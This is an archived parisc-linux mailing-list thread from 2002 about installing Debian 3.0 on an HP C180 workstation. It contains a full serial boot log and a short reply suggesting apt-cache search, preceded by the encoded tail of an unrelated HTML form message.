ur2/1S+6vczsL7q9uqMiPrq9v9Uvur3M7C+6vbqjPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir2o1v4vuaSz
zCI+vajW/i+5pLPMPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9Ir3wyNov0vjQ0LLGzvEiPiC98MjaL9L40NCy
xs7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRp
b24gdmFsdWU9Is2218ov1qTIry+3v7XYsvovsaPP1SI+zbbXyi/WpMivL7e/
tdiy+i+xo8/VPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAg
IDxvcHRpb24gdmFsdWU9Ir27zajUy8rkL7mrwrcvzPrCty+5q7myysLStSI+
vbvNqNTLyuQvuavCty/M+sK3L7mrubLKwtK1PC9vcHRpb24+DQogICAgICAg
ICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isn6svrWxtTsIj7J
+rL61sbU7Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uIHZhbHVlPSK41sz6L8qv080vtefBpi+7r7mkL8uuwPsiPrjWzPov
yq/TzS+158GmL7uvuaQvy67A+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJzNK1o6i0+sDtoaLF+reioaLB
48rbo6kvw7PS1yI+yczStaOotPrA7aGixfq3oqGiwePK26OpL8Oz0tc8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0i1f64rrv6udgvyee74c3FzOUiPtX+uK67+rnYL8nnu+HNxczlPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
ItK9wcYvzsDJ+i/M5dP9Ij7SvcHGL87AyfovzOXT/Twvb3B0aW9uPg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLFqcHWxL7T
5i+/89K1Ij7FqcHWxL7T5i+/89K1PC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrP2sOYvueOypS+159OwtefK
0yI+s/aw5i+547KlL7Xn07C158rTPC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrfHvMbL47v6ucvOyi/XydGv
L9DFz6K3/s7xIj63x7zGy+O7+rnLzsov18nRry/Qxc+it/7O8Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK5
q7nYL7njuOYvzsS7r9LVyvUiPrmrudgvueO45i/OxLuv0tXK9Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLC
w9POL7LN0vsvsfa53S/T6cDW0rUiPsLD084vss3S+y+x9rndL9PpwNbStTwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSK+/LbTL87kvq8vuauwsiI+vvy20y/O5L6vL7mrsLI8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixuTL
+yI+xuTL+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9z
ZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiAN
CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+Jm5ic3A7
PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0MCI+
Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAg
IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
PiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0i16IgsuEiIGlkPXN1Ym1pdDIgbmFtZT1yZWcyIHN0eWxlPSJi
YWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjM4LDIzOCwyMzgpOyBjb2xvcjogcmdi
KDAsMCwwKTsgdGV4dC1hbGlnbjogY2VudGVyOyBib3JkZXI6IDFweCBkb3Vi
bGU7aGVpZ2h0OjE4cHgiIG9ubW91c2VvdmVyPSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDg0MkIxJyIgb25tb3VzZW91dD0idGhpcy5zdHlsZS5jb2xvcj0nIzAw
MDAwMCciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
cmVTZXQgdmFsdWU9IsflILP9IiBpZD1yZVNldDIgbmFtZT1jbGVhcjIgc3R5
bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyMzgsMjM4LDIzOCk7IGNvbG9y
OiByZ2IoMCwwLDApOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4
IGRvdWJsZTtoZWlnaHQ6MThweCIgb25tb3VzZW92ZXI9InRoaXMuc3R5bGUu
Y29sb3I9JyMwODQyQjEnIiBvbm1vdXNlb3V0PSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDAwMDAwJyI+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8L0ZPUk0+DQoJ
PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgYWxpZ249cmlnaHQ+DQo8aW1n
IHNyYz1odHRwOi8vYWQuaGVybWVzLmNvbS5jbi9saW51eHdvcmxkL2ltYWdl
cy9MaW51eDRjb2xvci5qcGcgd2lkdGg9MzQyIGhlaWdodD05NSBib3JkZXI9
MD4NCgk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoJPC90ZD4NCgk8L3Ry
Pg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0yIGhlaWdodD00IGJnY29sb3I9IzAw
MDAwMD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoNCjwvYm9keT4NCjwv
aHRtbD4=

--= Multipart Boundary 0808022035--


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sean Anaya" <sanaya@gr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Thu, 8 Aug 2002 12:13:47 -0600
Lines: 382
Approved: news@gmane.org
Message-ID: <000001c23f07$56c7f0a0$4132260f@gr.hp.com>
References: <20020730113848.GL29996@sleepie.demon.co.uk>
Reply-To: <sanaya@gr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0001_01C23ED5.0C2F0740"
X-Trace: ger.gmane.org 1416621607 12187 80.91.229.3 (22 Nov 2014 02:00:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:07 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 12:09:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6AB24482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 12:09:03 -0600 (MDT)
Original-Received: from hpgrla.gr.hp.com (gr.hp.com [15.57.1.1])
	by palrel13.hp.com (Postfix) with ESMTP id 56252400336
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 11:09:02 -0700 (PDT)
Original-Received: from kontiki.gr.hp.com (kontiki.gr.hp.com [15.38.138.59])
	by hpgrla.gr.hp.com (8.9.3 (PHNE_25183)/8.9.3 SMKit7.01) with SMTP id MAA22951
	for <parisc-linux@parisc-linux.org>; Thu, 8 Aug 2002 12:09:01 -0600 (MDT)
Original-Received: from [15.38.50.65] (HELO zaxxon) by kontiki.gr.hp.com (Stalker SMTP Server 1.8b8) with SMTP id S.0000038749 for <parisc-linux@parisc-linux.org>; Thu, 08 Aug 2002 12:08:55 -0600
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <20020730113848.GL29996@sleepie.demon.co.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15772

This is a multi-part message in MIME format.

------=_NextPart_000_0001_01C23ED5.0C2F0740
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit


Hi All,

So I finally had a chance to install Debian 3.0 on my C180XP. So far looks
great, install was
far easier than the 0.9.3 CD, and I'm not seeing any of the file system
corruptions. However,
I'm still fighting a couple of battles.

1) where do you find the keywords to packages to install with apt-get
install <some package>?
   ie apt-get install xfree86  doesn't seem to work. I'd like to get the ftp
and telnet daemons
   working so I can ftp and telnet into my box, as well as X window system.

2) I'm still having trouble getting to system to boot with the monitor. The
boot sequence stops
   at "If this is the last message you see..." even tho the monitor flash a
couple of times.
   I have attached a log of the boot sequence when booting with a serial
console if that shows
   something helpful.

Any help would be most appreciated.

Thanks,

Sean Anaya
sanaya@gr.hp.com

------=_NextPart_000_0001_01C23ED5.0C2F0740
Content-Type: text/plain;
	name="bootup.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="bootup.txt"




Firmware Version  6.1

Duplex Console IO Dependent Code (IODC) revision 1

-------------------------------------------------------------------------=
-----
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
-------------------------------------------------------------------------=
-----

  Processor   Speed            State           Coprocessor State  I/D =
Cache=20
  ---------  --------   ---------------------  -----------------  =
-------------
      0      180 MHz    Active                 Functional         1 MB/1 =
MB=0A=

  Central Bus Speed (in MHz) :        120=0A=

  Available memory (bytes)    : 536870912
  Good memory required (bytes):   76103680=20
=0A=
  Primary boot path:    FWSCSI.6.0=0A=
  Alternate boot path:  SESCSI.6.0=0A=
  Console path:         GRAPHICS(4)=0A=
  Keyboard path:        PS2=0A=

CPU 0=0A=
WARNING:  Self tests have been disabled as a result of FASTBOOT
          being enabled.  To enable self tests, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized, but not tested as a result of
          FASTBOOT being enabled.  To test memory, use the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
=0A=

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

10 seconds expired.
Proceeding...

Searching for device(s) with bootable media...
This may take several minutes.
=0A=
To discontinue search, press any key (termination may not be immediate).

Attempting to boot Primary Path...=0A=

BOOTABLE DEVICE FOUND:=0A=
   Path Number        Device Path              Device Type and Utilities
   -----------        -----------------        -------------------------
   P0                 FWSCSI.6.0               SEAGATE ST32171W        =0A=
                                               IPL=0A=

Booting...=20
Boot IO Dependent Code (IODC) revision 153


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002=0A=

Partition Start(MB) End(MB) Id Type=0A=
1               1      24   f0 Palo=0A=
5              25     267   82 swap=0A=
6             268    2046   83 ext2=0A=

PALO(F0) partition contains:=0A=
    0/vmlinux32 3687647 bytes @ 0x48000=0A=

Information: No console specified on kernel command line. This is normal.=0A=
PALO will choose the console currently used by firmware (serial).=0A=
Command line for kernel: 'root=3D/dev/sdb6 HOME=3D/ console=3DttyS0 =
TERM=3Dvt102 palo_ke
rnel=3D6/boot/vmlinux'=0A=
Selected kernel: /boot/vmlinux from partition 6=0A=
ELF32 executable=0A=
Entry 00100000 first 00100000 n 5=0A=
Segment 0 load 00100000 size 2024492 mediaptr 0x1000=0A=
Segment 1 load 002f0000 size 299320 mediaptr 0x1f0000=0A=
Segment 2 load 0033c000 size 401408 mediaptr 0x23a000=0A=
Segment 3 load 003a0000 size 32768 mediaptr 0x29c000=0A=
Segment 4 load 003c90f8 size 102032 mediaptr 0x2a40f8=0A=
Branching to kernel entry point 0x00100000.  If this is the last=0A=
message you see, you may need to switch your console.  This is=0A=
a common symptom -- search the FAQ and mailing list at parisc-linux.org=0A=

Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16 =
17:09:00 M
ST 2002=0A=
FP[0] enabled: Rev 0 Model 14=0A=
The 32-bit Kernel has started...=0A=
Determining PDC firmware type: System Map.=0A=
model 000059c0 00000481 00000000 00000002 780cc481 100000f0 00000008 =
000000b2 00
0000b2=0A=
vers  00000205=0A=
CPUID vers 14 rev 9 (0x000001c9)=0A=
model 9000/780/C180=0A=
Total Memory: 512 Mb=0A=
pagetable_init=0A=
On node 0 totalpages: 131072=0A=
zone(0): 131072 pages.=0A=
zone(1): 0 pages.=0A=
zone(2): 0 pages.=0A=
LED display at f0190001 registered=0A=
Kernel command line: root=3D/dev/sdb6 HOME=3D/ console=3DttyS0 =
TERM=3Dvt102 palo_kernel=3D
6/boot/vmlinux=0A=
Console: colour dummy device 160x64=0A=
Calibrating delay loop... 358.80 BogoMIPS=0A=
Memory: 513020k available=0A=
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)=0A=
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)=0A=
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)=0A=
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)=0A=
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)=0A=
Searching for devices...=0A=
Found devices:=0A=
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf, 0xb=0A=
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x1, 0xa=0A=
3. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, =
0x0, 0x96=0A=
4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6, 0x0, =
0x8c=0A=
5. Raven U/L2 Core FW-SCSI (4) at 0xf200c000 [8/12], versions 0x3b, 0x0, =
0x89=0A=
6. Raven U/L2 Core BA (11) at 0xffd00000 [8/16], versions 0x3b, 0x0, =
0x81,  addi
tional addresses: 0xffd0c000 0xffc00000 =0A=
7. Raven U/L2 Core Centronics (10) at 0xffd02000 [8/16/0], versions =
0x3b, 0x0, 0
x74,  additional addresses: 0xffd01000 0xffd03000 =0A=
8. Raven U/L2 Core Audio (10) at 0xffd04000 [8/16/1], versions 0x3b, =
0x4, 0x7b=0A=
9. Raven U/L2 Core RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, =
0x0, 0x8c=0A=
10. Raven U/L2 Core SCSI (10) at 0xffd06000 [8/16/5], versions 0x3b, =
0x0, 0x82=0A=
11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions =
0x3b, 0x0,
 0x8a=0A=
12. Raven U/L2 Core PS/2 Port (10) at 0xffd08000 [8/16/7], versions =
0x3b, 0x0, 0
x84=0A=
13. Raven U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions =
0x3b, 0x0, 0
x84=0A=
14. Raven Backplane Wax BA (11) at 0xffe00000 [8/20], versions 0x17, =
0x0, 0x8e=0A=
15. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17, =
0x0, 0x7
3=0A=
16. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, =
0x0, 0x8c=0A=
17. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions =
0x17, 0x0,
 0x90,  additional addresses: 0xffc88000 0xfc00000b =0A=
18. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16, =
0x0, 0x85,
  additional addresses: 0xf0026000 =0A=
19. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, =
0xc=0A=
20. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf, =
0xb=0A=
21. Coral SGC Graphics (10) at 0xf4000000 [10/12], versions 0x4, 0x0, =
0x77=0A=
22. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, =
0xc=0A=
23. Raven U 180 (9000/780/C180) (0) at 0xfffa0000 [32], versions 0x59c, =
0x0, 0x4=0A=
24. Memory (1) at 0xfffb1000 [49], versions 0x72, 0x0, 0x9=0A=
CPU(s): 1 x PA8000 (PCX-U) at 180.000000 MHz=0A=
Found U2 at 0xfff88000=0A=
Found U2 at 0xfff8a000=0A=
Lasi version 0 at 0xffd00000 found.=0A=
Wax at 0xffe00000 found.=0A=
Wax: HIL Keyboard-NMI registered.=0A=
Wax EISA Adapter found at 0xfc000000=0A=
EISA EEPROM at 0xffc88000=0A=
Enumerating EISA bus=0A=
EISA slot 1 a configured board was not detected ( expected ___FFFF)=0A=
Dino version 2.1 found at 0xf2000000=0A=
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit=0A=
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.=0A=
Systems shipped after Aug 20, 1997 will not exhibit this problem.=0A=
Models affected: C180, C160, C160L, B160L, and B132L workstations.=0A=

Dino: No PCI devices enabled.=0A=
POSIX conformance testing by UNIFIX=0A=
Linux NET4.0 for Linux 2.4=0A=
Based upon Swansea University Computer Society NET3.039=0A=
Initializing RT netlink socket=0A=
Enabled soft power switch (polling mode, io=3D0xf0140000).=0A=
Starting kswapd=0A=
Journalled Block Device driver loaded=0A=
parport_init_chip: initialize bidirectional-mode.=0A=
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]=0A=
STI word mode ROM at f0026000, hpa=3Dfa000000=0A=
STI word mode ROM, id 2d08c0a7-9a02587, conforms to spec rev. 8.07=0A=
STI device: INTERNAL_EG_1280=0A=
STI byte mode ROM at f4000000, hpa=3Df4000000=0A=
STI byte mode ROM, id 2f8d570e-9a02587, conforms to spec rev. 8.05=0A=
STI device: HPA4246A=0A=
Console: switching to colour frame buffer device 160x64=0A=
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio: =
0xfa100000=0A=
pty: 256 Unix98 ptys configured=0A=
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ =
SERIAL_PCI en
abled=0A=
ttyS00 at iomem 0xffd05800 (irq =3D 90) is a 16550A=0A=
ttyS01 at iomem 0xf2003800 (irq =3D 121) is a 16550A=0A=
ttyS02 at iomem 0xffe02800 (irq =3D 121) is a 16550A=0A=
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.=0A=
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.=0A=
Found HIL at 0xffe01000, IRQ 126=0A=
HIL: no keyboard present.=0A=
lp0: using parport0 (interrupt-driven).=0A=
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)=0A=
block: 128 slots per queue, batch=3D32=0A=
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize=0A=
Uniform Multi-Platform E-IDE driver Revision: 6.31=0A=
ide: Assuming 50MHz system bus speed for PIO modes; override with =
idebus=3Dxx=0A=
loop: loaded (max 8 devices)=0A=
Found i82596 at 0xffd07000, IRQ 87=0A=
eth0: 82596 at 0xffd07000, 00 60 B0 18 03 7D IRQ 87.=0A=
82596.c $Revision: 1.28 $=0A=
SCSI subsystem driver Revision: 1.00=0A=
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35=0A=
ncr53c8xx: 53c720 detected=0A=
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential=0A=
scsi0 : ncr53c8xx-3.4.3b-20010512=0A=
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03=0A=
  Type:   Direct-Access                      ANSI SCSI revision: 02=0A=
  Vendor: SEAGATE   Model: ST32171W          Rev: HP03=0A=
  Type:   Direct-Access                      ANSI SCSI revision: 02=0A=
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com=0A=
scsi1: 53c710 rev 2 =0A=
scsi1 : LASI SCSI 53c700=0A=
scsi1: (2:0) Synchronous at offset 8, period 236ns=0A=
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036=0A=
  Type:   CD-ROM                             ANSI SCSI revision: 02=0A=
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0=0A=
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0=0A=
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)=0A=
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)=0A=
Partition check:=0A=
 sda: sda1 sda2 < sda5 >=0A=
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)=0A=
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)=0A=
 sdb: sdb1 sdb2 < sdb5 sdb6 >=0A=
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0=0A=
sr0: scsi-1 drive=0A=
Uniform CD-ROM driver Revision: 3.12=0A=
Lasi Harmony Audio driver V0.9a, h/w id 20, rev. 48 at 0xffd04000, IRQ 82=0A=
sticonsole_init: searching for STI ROMs=0A=
md: linear personality registered as nr 1=0A=
md: raid0 personality registered as nr 2=0A=
md: raid1 personality registered as nr 3=0A=
md: raid5 personality registered as nr 4=0A=
raid5: measuring checksumming speed=0A=
   8regs     :   394.800 MB/sec=0A=
   8regs_prefetch:   394.400 MB/sec=0A=
   32regs    :   306.800 MB/sec=0A=
   32regs_prefetch:   306.400 MB/sec=0A=
raid5: using function: 8regs (394.800 MB/sec)=0A=
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27=0A=
md: Autodetecting RAID arrays.=0A=
md: autorun ...=0A=
md: ... autorun DONE.=0A=
NET4: Linux TCP/IP 1.0 for NET4.0=0A=
IP Protocols: ICMP, UDP, TCP, IGMP=0A=
IP: routing cache hash table of 4096 buckets, 32Kbytes=0A=
TCP: Hash tables configured (established 32768 bind 65536)=0A=
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.=0A=
VFS: Mounted root (ext2 filesystem) readonly.=0A=
NOT FREEING INITMEM (383k)=0A=
INIT: version 2.84 booting
Activating swap.
Adding Swap: 251432k swap-space (priority -1)=0A=
Adding Swap: 249200k swap-space (priority -2)=0A=
Checking root file system...
fsck 1.27 (8-Mar-2002)
/dev/sdb6: clean, 17334/228032 files, 56696/455374 blocks
System time was Thu Aug  8 17:56:28 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Thu Aug  8 17:56:23 UTC 2002.
Calculating module dependencies... done.
Loading modules:=20
Checking all file systems...
fsck 1.27 (8-Mar-2002)
/dev/sda1: clean, 14/493024 files, 15493/985397 blocks
Setting kernel variables.
Loading the saved-state of the serial devices...=20
Cannot set serial info: Address already in use
/dev/ttyS0 at 0x0000 (irq =3D 90) is a 16550A
Cannot set serial info: Address already in use
/dev/ttyS1 at 0x0000 (irq =3D 121) is a 16550A
Cannot set serial info: Address already in use
/dev/ttyS2 at 0x0000 (irq =3D 121) is a 16550A
Mounting local filesystems...
/dev/sda1 on /home type ext2 (rw)
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: link ok.=0A=
done.
Starting portmap daemon: portmap.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Thu Aug  8 11:56:34 MDT 2002

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting NFS common utilities: statd.
Starting internet superserver: inetd.
Starting printer spooler: lpd.
OpenBSD Secure Shell server not in use (/etc/ssh/sshd_not_to_be_run)
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
Starting web server: apache.

Debian GNU/Linux 3.0 icebox ttyS0

icebox login: 
------=_NextPart_000_0001_01C23ED5.0C2F0740--



From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting Debian on an HP C180 workstation
Date: Thu, 8 Aug 2002 11:20:36 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020808182036.GR8724__27084.8594060682$1416621607$gmane$org@tausq.org>
References: <20020730113848.GL29996@sleepie.demon.co.uk> <000001c23f07$56c7f0a0$4132260f@gr.hp.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621607 12194 80.91.229.3 (22 Nov 2014 02:00:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:07 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Sean Anaya <sanaya@gr.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 12:16:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F5C2482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 12:16:26 -0600 (MDT)
Original-Received: (qmail 29984 invoked from network); 8 Aug 2002 18:16:21 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <sanaya@gr.hp.com>; 8 Aug 2002 18:16:21 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9B4D2CE04E; Thu,  8 Aug 2002 11:20:36 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <000001c23f07$56c7f0a0$4132260f@gr.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15773

> So I finally had a chance to install Debian 3.0 on my C180XP. So far looks
> great, install was
> far easier than the 0.9.3 CD, and I'm not seeing any of the file system
> corruptions. However,
> I'm still fighting a couple of battles.

note that this is not the right forum for this kind of questions; please
use debian-hppa@lists.debian.org instead.

> 1) where do you find the keywords to packages to install with apt-get
> install <some package>?
>    ie apt-get install xfree86  doesn't seem to work. I'd like to get the ftp
> and telnet daemons
>    working so I can ftp and telnet into my box, as well as X window system.

apt-cache search <search regexp>

randolph


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help! eth0 has disappeared on C200?
Date: Thu, 08 Aug 2002 22:38:39 -0400
